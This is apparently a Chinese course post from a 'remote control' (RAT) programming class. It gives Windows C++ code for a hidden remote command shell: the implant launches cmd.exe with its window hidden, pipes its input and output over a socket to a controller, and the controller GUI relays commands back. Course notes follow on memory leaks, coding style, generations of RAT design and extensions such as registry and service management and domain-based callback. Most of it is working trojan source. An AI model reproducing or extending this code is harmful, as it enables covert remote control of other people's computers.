m_cmd.Cmd_GetSock(l_Socket);
::CloseHandle(CreateThread(0,0,SendCmd,(LPVOID)&m_cmd,0,0)); // 读 防止阻塞
Sleep(200);
::CloseHandle(CreateThread(0,0,InitCmd,(LPVOID)&m_cmd,0,0));
}
break;
case COMMAND:
{
CMD recvcmd;
char recv_buff[1024];
memset(&recvcmd,0,sizeof(CMD));
memcpy(&recvcmd,msg.context,sizeof(CMD));
memset(recv_buff,0,sizeof(recv_buff));
strcpy_s(recv_buff,1024,recvcmd.command);
// if(m_task.ExistTask(m_cmd.GetProcID()) == false)
// {
// m_cmd.NoTaskExit(l_Socket);
// break;
// }
m_cmd.Cmd_Recv(recv_buff);
}
break;
建立两条管道
创建m_cmd c++类
#pragma once
class CCmdShell
{
public:
CCmdShell(void);
~CCmdShell(void);
void Cmd_Init();
void Cmd_Recv(char recv_buff[1024]);
void Cmd_Send();
DWORD GetProcID();
void Cmd_GetSock(SOCKET sock);
void NoTaskExit(SOCKET Socket);
private:
SOCKET m_sock_cmd;
CMySocket m_sock;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
PROCESS_INFORMATION pi;
STARTUPINFO si;
};
threadmain h
#include "CmdShell.h"
private:
CCmdShell m_cmd;
static DWORD WINAPI SendCmd(LPVOID self);
static DWORD WINAPI InitCmd(LPVOID self);
threadmain cpp
DWORD WINAPI CThreadMain::SendCmd(LPVOID self)
{
CCmdShell* t = (CCmdShell*)self;
t->Cmd_Send();
return 0;
}
DWORD WINAPI CThreadMain::InitCmd(LPVOID self)
{
CCmdShell* t = (CCmdShell*)self;
t->Cmd_Init();
return 0;
}
发送 接收
void CCmdShell::Cmd_Init()
{
//初始化
GetStartupInfoW(&si);
// 新进程窗口显示方式和标准输入输出句柄的指定
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//使cmd的输入输出和管道关联
si.hStdInput = hReadPipe;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
si.wShowWindow = SW_HIDE;
wchar_t cmdline[256]={0};
//得到系统路径
GetSystemDirectory(cmdline,sizeof(cmdline)); // 获取系统目录
wcscat_s(cmdline,_T("\\cmd.exe"));
//创建cmd进程
if (CreateProcess(cmdline, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == 0)
{
printf("CreateProcess Error\n");
}
::CloseHandle(pi.hProcess); // 关闭句柄
}
void CCmdShell::Cmd_Send()
{
//发送命令
SECURITY_ATTRIBUTES sa;
DWORD len;
char send_buff[1024];
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
CreatePipe(&hReadFile,&hWritePipe,&sa,0); // 创建通道 读发 传递cmd进程
SECURITY_ATTRIBUTES sa_r;
sa_r.nLength = sizeof(SECURITY_ATTRIBUTES);
sa_r.lpSecurityDescriptor = NULL;
sa_r.bInheritHandle = TRUE;
//创建管道
CreatePipe(&hReadPipe,&hWriteFile,&sa_r,0);
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = CMDSHELL;
while (true)
{
//读取管道中的数据
memset(send_buff,0,sizeof(send_buff)); // 阻塞的函数
if(ReadFile(hReadFile,send_buff,1023,&len,NULL) == FALSE) //结束cmd
{
break;
}
//把管道中的数据发送给远程主机
CMD cmd;
memset(&cmd,0,sizeof(CMD));
strcpy_s(cmd.command,sizeof(send_buff),send_buff);
cmd.flag = 0;
memcpy(msg.context,&cmd,sizeof(CMD));
m_sock.MySend(m_sock_cmd,(char*)&msg,sizeof(MSGINFO_S));
}
printf("CmdThreadOver\n");
}
void CCmdShell::Cmd_Recv(char recv_buff[1024])
{
DWORD nByteWritten;
if(strcmp("exit\r\n",recv_buff)==0)
{
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);
}
WriteFile(hWriteFile,recv_buff,strlen(recv_buff),&nByteWritten,NULL);
}
cmdshell h
#include "Common.h"
#include "Mysocket.h"
void CCmdShell::Cmd_GetSock(SOCKET sock)
{
m_sock_cmd = sock;
}
客户端
itemdata
case CMDSHELL:
{
if(m_cmd == NULL)
{
break;
}
CMD t;
memset(&t,0,sizeof(CMD));
memcpy(&t,msg.context,sizeof(CMD));
m_cmd->GetReturnInfo(t);
}
break;
cmdshell h
public:
void GetReturnInfo(CMD t);
多字节 转换 宽字符 显示
void CCmdShell::GetReturnInfo(CMD t)
{
if(t.flag == 0)
{
CString tem;
wchar_t *pwText;
pwText = m_str.CharToCString(t.command);
m_recv.GetWindowTextW(tem);
m_recv.SetWindowTextW(tem + pwText);
m_recv.SetSel(-1); // 最后字符 的 下一个 字符
delete[] pwText;
m_send.GetFocus();
}
else
{
MessageBox(_T("服务端CMD进程被意外结束"),_T("提示"),MB_OK|MB_ICONWARNING);
SendMessageW(WM_CLOSE,0,0);
}
}
远端进程关闭
public:
afx_msg void OnSize(UINT nType, int cx, int cy);
virtual BOOL PreTranslateMessage(MSG* pMsg);
afx_msg void OnClose();
#include "ItemData.h"
void CCmdShell::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
MSGINFO msg;
CMD cmd;
memset(&msg,0,sizeof(MSGINFO));
memset(&cmd,0,sizeof(CMD));
msg.Msg_id = COMMAND;
strcpy_s((char*)cmd.command,sizeof("exit\r\n"),"exit\r\n");
memcpy(msg.context,&cmd,sizeof(CMD));
m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg));
//CDialog::OnClose();
((CItemData*)this->m_pParentWnd)->m_cmd = NULL; // 防止多开 getreturninfo
DestroyWindow(); // 销毁窗体
delete this; // 删除创建这个类
}
mutilline
vertical scroll
private:
static unsigned int __stdcall OnCmdRecv(LPVOID self);
void OnCmdRecv_run();
GetClientRect(&m_rect);
MSGINFO msg;
memset(&msg,0,sizeof(MSGINFO));
msg.Msg_id = CMDSHELL;
if(m_Mysock.SendCommand(m_sock,(char*)&msg,sizeof(msg))==SOCKET_ERROR)
{
MessageBox(_T("启用CMD命令发送失败"),_T("错误"),MB_OK|MB_ICONINFORMATION);
}
[30]远控班第一期课程与远控总结
一.Bug修复
(1)生成路径
(2)显示系统版本号
二.内存泄露
(1)如何检查内存泄露
#define CRTDBG_MAP_ALLOC
#include <stdlib.h>
#include <crtdbg.h>
_CrtDumpMemoryLeaks();
_CrtSetBreakAlloc(块号);
(2)如何修复内存泄露
AfxSocketInit 导致 memory leak
pThreadState->m_pmapSocketHandle = new CMapPtrToPtr;
pThreadState->m_pmapDeadSockets = new CMapPtrToPtr;
pThreadState->m_plistSocketNotifications = new CPtrList;
(3)实战
void CFileview::ReleaseList()
{
int count = m_list.GetItemCount();
__int64 *t;
for(int i=0;i<count;i++)
{
t = (__int64*)m_list.GetItemData(i);
delete t;
}
m_list.DeleteAllItems();
}
void CFileview::ReleaseTree()
{
DRIVER *disk_t;
HTREEITEM hItem = m_tree.GetRootItem();
if(hItem != NULL)
{
disk_t = (DRIVER*)m_tree.GetItemData(hItem);
delete disk_t;
for(;;)
{
hItem = m_tree.GetNextSiblingItem(hItem);
if(hItem != NULL)
{
disk_t = (DRIVER*)m_tree.GetItemData(hItem);
delete disk_t;
}
else
{
break;
}
}
}
}
三.编码规范
(1)避免二义性
if((a + b) > (c + d))
(2)避免否定表达式
bool t;
...
if(t == false)(!t)
{
}
(3)避免if then if
if(mmm)
{
if(nnn)
{
...;
}
}
if(mmm && nnn)
{
}
(4)避免else return
单入口单出口
int func()
{
int t;
if(,,,)
{
t = 1;
}
else
{
t = 2;
}
return t;
}
四.远控历史
(1)第一代远控 --- (架构:Socket/Server 1/1)(模型:多线程 + 阻塞Socket)
(2)第二代远控 --- (架构:Socket/Server N/1)(模型:多线程 + 阻塞Socket)
主机
Socket --- 判断主机是否下线
Socket --- 文官管理Sock
Socket --- 屏幕
Socket --- 进程
服务端
(3)第三代远控 --- (架构:Socket/Server N/1)(模型:完成端口)
五.功能扩展
(1)如何对远控进行功能扩展
(2)实例一:控制密码
(3)实例二:显示信息框
(4)实例三:服务管理
(5)实例四:注册表管理
(6)实例五:域名上线 StartSocket
六.学习经验
(1)书籍推荐
谭浩强 C语言
C Primer Plus 中文版
C++ Primer Plus
func(char *a)
{
int t = sizeof(a);
}
VC++开发实战宝典(个人推荐)
VC++项目开发全程实录(个人推荐) MIS(管理信息系统),工具
VC++入门经典2008 2010
windows核心编程(第五版)
(2)学习方法
DAMO开发者矩阵,由阿里巴巴达摩院和中国互联网协会联合发起,致力于探讨最前沿的技术趋势与应用成果,搭建高质量的交流与分享平台,推动技术创新与产业应用链接,围绕“人工智能与新型计算”构建开放共享的开发者生态。
更多推荐




所有评论(0)